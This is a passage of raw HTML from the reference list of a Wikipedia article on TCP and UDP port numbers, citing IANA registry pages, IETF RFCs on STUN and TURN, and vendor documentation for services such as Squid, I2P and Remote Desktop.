title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Protocol+Overview&amp;rft.btitle=Multicast+Address+Dynamic+Client+Allocation+Protocol&amp;rft.pages=p.-3.-sec.-1.5&amp;rft.pub=IETF&amp;rft.date=1999-12&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC2730&amp;rft.aulast=Hanna&amp;rft.aufirst=Stephen+R.&amp;rft.au=Patel%2C+Baiju+V.&amp;rft.au=Shah%2C+Munil&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc2730%26%23035%3Bsection-1.5&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-172\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-172\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=2628\">\"Service Name and Transport Protocol Port Number Registry\"</a>. Iana.org<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2019-04-08</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Service+Name+and+Transport+Protocol+Port+Number+Registry&amp;rft.pub=Iana.org&amp;rft_id=https%3A%2F%2Fwww.iana.org%2Fassignments%2Fservice-names-port-numbers%2Fservice-names-port-numbers.xhtml%3Fsearch%3D2628&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-173\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-173\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://dcx.sybase.com/index.html#sa160/en/dbadmin/serverport-network-conparm.html\">\"DocCommentXchange\"</a>. <i>sybase.com</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">27 February</span> 2017</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=sybase.com&amp;rft.atitle=DocCommentXchange&amp;rft_id=http%3A%2F%2Fdcx.sybase.com%2Findex.html%23sa160%2Fen%2Fdbadmin%2Fserverport-network-conparm.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-174\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-174\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=2638\">\"Service Name and Transport Protocol Port Number Registry\"</a>. Iana.org<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-10-26</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Service+Name+and+Transport+Protocol+Port+Number+Registry&amp;rft.pub=Iana.org&amp;rft_id=https%3A%2F%2Fwww.iana.org%2Fassignments%2Fservice-names-port-numbers%2Fservice-names-port-numbers.xhtml%3Fsearch%3D2638&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-sf-xbtt-port-175\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-sf-xbtt-port_175-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://xbtt.sourceforge.net/tracker/\">\"Overview\"</a>. <i>XBT Tracker</i>. SourceForge. n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160828134448/http://xbtt.sourceforge.net/tracker/\">Archived</a> from the original on 2016-08-28<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-28</span></span>. <q>...&#160;XBT Tracker listens on port 2710.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=XBT+Tracker&amp;rft.atitle=Overview&amp;rft.chron=n.d.&amp;rft_id=http%3A%2F%2Fxbtt.sourceforge.net%2Ftracker%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-sf-xbtt-udp-176\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-sf-xbtt-udp_176-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://xbtt.sourceforge.net/tracker/\">\"Overview\"</a>. <i>XBT Tracker</i>. SourceForge. n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160828134448/http://xbtt.sourceforge.net/tracker/\">Archived</a> from the original on 2016-08-28<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-28</span></span>. <q>...&#160;An experimental UDP tracker extension is also supported via announce URL <code>udp://...:2710</code>.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=XBT+Tracker&amp;rft.atitle=Overview&amp;rft.chron=n.d.&amp;rft_id=http%3A%2F%2Fxbtt.sourceforge.net%2Ftracker%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-geti2p-ports-177\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-geti2p-ports_177-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-geti2p-ports_177-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-geti2p-ports_177-2\"><sup><i><b>c</b></i></sup></a> <a href=\"#cite_ref-geti2p-ports_177-3\"><sup><i><b>d</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://geti2p.net/en/docs/ports\">\"Ports Used by I2P\"</a>. <i>I2P</i>. December 2015. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160828135818/https://geti2p.net/en/docs/ports\">Archived</a> from the original on 2016-08-28<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-28</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=I2P&amp;rft.atitle=Ports+Used+by+I2P&amp;rft.date=2015-12&amp;rft_id=https%3A%2F%2Fgeti2p.net%2Fen%2Fdocs%2Fports&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-178\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-178\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://guides.rubyonrails.org/getting_started.html#starting-up-the-web-server\">\"Getting Started with Rails\"</a>. <i>Ruby on Rails</i>. 2012-03-21<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Ruby+on+Rails&amp;rft.atitle=Getting+Started+with+Rails&amp;rft.date=2012-03-21&amp;rft_id=http%3A%2F%2Fguides.rubyonrails.org%2Fgetting_started.html%23starting-up-the-web-server&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-179\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-179\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation news cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://docs.meteor.com/#quickstart\">\"Documentation - Meteor\"</a>. <i>meteor.com</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">16 March</span> 2015</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=article&amp;rft.jtitle=meteor.com&amp;rft.atitle=Documentation+-+Meteor&amp;rft_id=http%3A%2F%2Fdocs.meteor.com%2F%23quickstart&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-getsync-kb-204754759-180\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-getsync-kb-204754759_180-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://help.getsync.com/hc/en-us/articles/204754759-What-ports-and-protocols-are-used-by-Sync-\">\"What Ports And Protocols Are Used By Sync?\"</a>. <i>Sync Help Center</i>. Resilio. 2016-08-28. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160828145924/https://help.getsync.com/hc/en-us/articles/204754759-What-ports-and-protocols-are-used-by-Sync-\">Archived</a> from the original on 2016-08-28<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-28</span></span>. <q>...&#160;Connecting to the tracker server for automatic peer discovery: TCP and UDP, port 3000&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Sync+Help+Center&amp;rft.atitle=What+Ports+And+Protocols+Are+Used+By+Sync%3F&amp;rft.date=2016-08-28&amp;rft_id=https%3A%2F%2Fhelp.getsync.com%2Fhc%2Fen-us%2Farticles%2F204754759-What-ports-and-protocols-are-used-by-Sync-&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-181\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-181\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://create-react-app.dev/docs/getting-started\">\"Create React App Getting Started\"</a>. <i>Create React App</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2021-12-04</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Create+React+App&amp;rft.atitle=Create+React+App+Getting+Started&amp;rft_id=https%3A%2F%2Fcreate-react-app.dev%2Fdocs%2Fgetting-started&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-182\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-182\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFGogs\" class=\"citation web cs1\">Gogs. <a rel=\"nofollow\" class=\"external text\" href=\"https://gogs.io/docs/intro/troubleshooting\">\"Troubleshooting - Gogs\"</a>. <i>Gogs</i>. Gogs<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">6 January</span> 2021</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Gogs&amp;rft.atitle=Troubleshooting+-+Gogs&amp;rft.au=Gogs&amp;rft_id=https%3A%2F%2Fgogs.io%2Fdocs%2Fintro%2Ftroubleshooting&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-183\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-183\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"https://grafana.com/docs/grafana/latest/setup-grafana/configure-grafana/#http_port\">Configure Grafana - Grafana Documentation</a></span>\n</li>\n<li id=\"cite_note-184\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-184\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external free\" href=\"https://applipedia.paloaltonetworks.com/\">https://applipedia.paloaltonetworks.com/</a></span>\n</li>\n<li id=\"cite_note-blkbr-kb-3735-185\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-blkbr-kb-3735_185-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://support.blackberry.com/kb/articleDetail?ArticleNumber=000003735\">\"Firewall and connection requirements for the BlackBerry Enterprise Server, BlackBerry Device Service, and Universal Device Service\"</a>. <i>Blackberry Knowledge Base</i> (published 2016-05-19). 2015-08-15. <a rel=\"nofollow\" class=\"external text\" href=\"https://archive.today/20160828181427/http://support.blackberry.com/kb/articleDetail?ArticleNumber=000003735\">Archived</a> from the original on 2016-08-28<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-28</span></span>. <q>...&#160;On the firewall, verify that port 3101 is open for outbound initiated, bi-directional Transmission Control Protocol (TCP) traffic.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Blackberry+Knowledge+Base&amp;rft.atitle=Firewall+and+connection+requirements+for+the+BlackBerry+Enterprise+Server%2C+BlackBerry+Device+Service%2C+and+Universal+Device+Service&amp;rft.date=2015-08-15&amp;rft_id=http%3A%2F%2Fsupport.blackberry.com%2Fkb%2FarticleDetail%3FArticleNumber%3D000003735&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-squid-doc-http_port-186\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-squid-doc-http_port_186-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.squid-cache.org/Doc/config/http_port/\">\"Squid configuration directive http_port\"</a>. <i>Squid Documentation</i> (published 2013-05-09). n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160828182735/http://www.squid-cache.org/Doc/config/http_port/\">Archived</a> from the original on 2016-08-28<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-28</span></span>. <q>...&#160;Squid normally listens to port 3128&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Squid+Documentation&amp;rft.atitle=Squid+configuration+directive+http_port&amp;rft.chron=n.d.&amp;rft_id=http%3A%2F%2Fwww.squid-cache.org%2FDoc%2Fconfig%2Fhttp_port%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-187\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-187\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://eggwiki.org/Eggdrop.conf#Botnet.2FDCC.2FTelnet\">\"Eggdrop.conf\"</a>. <i>Eggdrop Wiki</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-02-20</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Eggdrop+Wiki&amp;rft.atitle=Eggdrop.conf&amp;rft_id=http%3A%2F%2Feggwiki.org%2FEggdrop.conf%23Botnet.2FDCC.2FTelnet&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-188\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-188\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://cruisecontrolrb.thoughtworks.com/documentation/getting_started\">\"CruiseControl.rb – Getting Started\"</a>. thoughtworks.com<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=CruiseControl.rb+%E2%80%93+Getting+Started&amp;rft.pub=thoughtworks.com&amp;rft_id=http%3A%2F%2Fcruisecontrolrb.thoughtworks.com%2Fdocumentation%2Fgetting_started&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-openocd-189\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-openocd_189-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-openocd_189-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://openocd.org/doc/html/Server-Configuration.html\">\"OpenOCD – Server Configuration\"</a>. openocd.org<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2022-05-18</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=OpenOCD+%E2%80%93+Server+Configuration&amp;rft.pub=openocd.org&amp;rft_id=https%3A%2F%2Fopenocd.org%2Fdoc%2Fhtml%2FServer-Configuration.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-190\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-190\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://support.microsoft.com/kb/306759\">\"How to change the listening port for Remote Desktop\"</a>. Microsoft. 2011-05-04<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=How+to+change+the+listening+port+for+Remote+Desktop&amp;rft.pub=Microsoft&amp;rft.date=2011-05-04&amp;rft_id=http%3A%2F%2Fsupport.microsoft.com%2Fkb%2F306759&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-STUN-191\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-STUN_191-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-STUN_191-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFMatthewsRosenbergWingMahy2008\" class=\"citation cs1\">Matthews, Philip; Rosenberg, Jonathan; Wing, Dan; Mahy, Rohan (October 2008). <a rel=\"nofollow\" class=\"external text\" href=\"http://tools.ietf.org/html/rfc5389\"><i>RFC 5389: Session Traversal Utilities for NAT (STUN)</i></a>. IETF. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC5389\">10.17487/RFC5389</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc5389\">5389</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=&#82;FC+5389%3A+Session+Traversal+Utilities+for+NAT+%28STUN%29&amp;rft.pub=IETF&amp;rft.date=2008-10&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC5389&amp;rft.aulast=Matthews&amp;rft.aufirst=Philip&amp;rft.au=Rosenberg%2C+Jonathan&amp;rft.au=Wing%2C+Dan&amp;rft.au=Mahy%2C+Rohan&amp;rft_id=http%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc5389&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-TURN-192\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-TURN_192-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-TURN_192-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFMahyMatthewsRosenberg2010\" class=\"citation journal cs1\">Mahy, R.; Matthews, P.; Rosenberg, J. (2010). <a rel=\"nofollow\" class=\"external text\" href=\"http://tools.ietf.org/html/rfc5766\">\"RFC 5766 - Traversal Using Relays around NAT (TURN): Relay Extensions to Session Traversal Utilities for NAT (STUN)\"</a>. <i>ietf.org</i>. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC5766\">10.17487/RFC5766</a>. <a href=\"/wiki/S2CID_(identifier)\" class=\"mw-redirect\" title=\"S2CID (identifier)\">S2CID</a>&#160;<a rel=\"nofollow\" class=\"external text\" href=\"https://api.semanticscholar.org/CorpusID:17152616\">17152616</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">16 March</span> 2015</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=article&amp;rft.jtitle=ietf.org&amp;rft.atitle=&#82;FC+5766+-+Traversal+Using+Relays+around+NAT+%28TURN%29%3A+Relay+Extensions+to+Session+Traversal+Utilities+for+NAT+%28STUN%29&amp;rft.date=2010&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC5766&amp;rft_id=https%3A%2F%2Fapi.semanticscholar.org%2FCorpusID%3A17152616%23id-name%3DS2CID&amp;rft.aulast=Mahy&amp;rft.aufirst=R.&amp;rft.au=Matthews%2C+P.&amp;rft.au=Rosenberg%2C+J.&amp;rft_id=http%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc5766&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc5780-193\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-rfc5780_193-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-rfc5780_193-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFMacDonaldLowekamp2010\" class=\"citation cs1\">MacDonald, Derek C.; Lowekamp, Bruce B. (May 2010). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc5780#section-9.2\">\"Port Numbers and SRV Registry\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc5780\"><i>NAT Behavior Discovery Using Session Traversal Utilities for NAT (STUN)</i></a>. Thanks to Dan Wing, Cullen Jennings, and Magnus Westerlund for detailed comments. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;25.&#160;sec.&#160;9.2. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC5780\">10.17487/RFC5780</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc5780\">5780</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-07-28</span></span>. <q>...&#160;By default, the STUN NAT Behavior Discovery usage runs on the same ports as STUN: 3478 over UDP and TCP, and 5349 for TCP over TLS.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Port+Numbers+and+SRV+Registry&amp;rft.btitle=NAT+Behavior+Discovery+Using+Session+Traversal+Utilities+for+NAT+%28STUN%29&amp;rft.pages=p.-25.-sec.-9.2&amp;rft.pub=IETF&amp;rft.date=2010-05&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC5780&amp;rft.aulast=MacDonald&amp;rft.aufirst=Derek+C.&amp;rft.au=Lowekamp%2C+Bruce+B.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc5780%26%23035%3Bsection-9.2&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-playstation-manual-ps4-nw_test-194\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-playstation-manual-ps4-nw_test_194-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-playstation-manual-ps4-nw_test_194-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://manuals.playstation.net/document/en/ps4/settings/nw_test.html\">\"Test Internet Connection\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"http://manuals.playstation.net/document/en/ps4/\"><i>PlayStation®4 User's Guide</i></a>. n.d. <a rel=\"nofollow\" class=\"external text\" 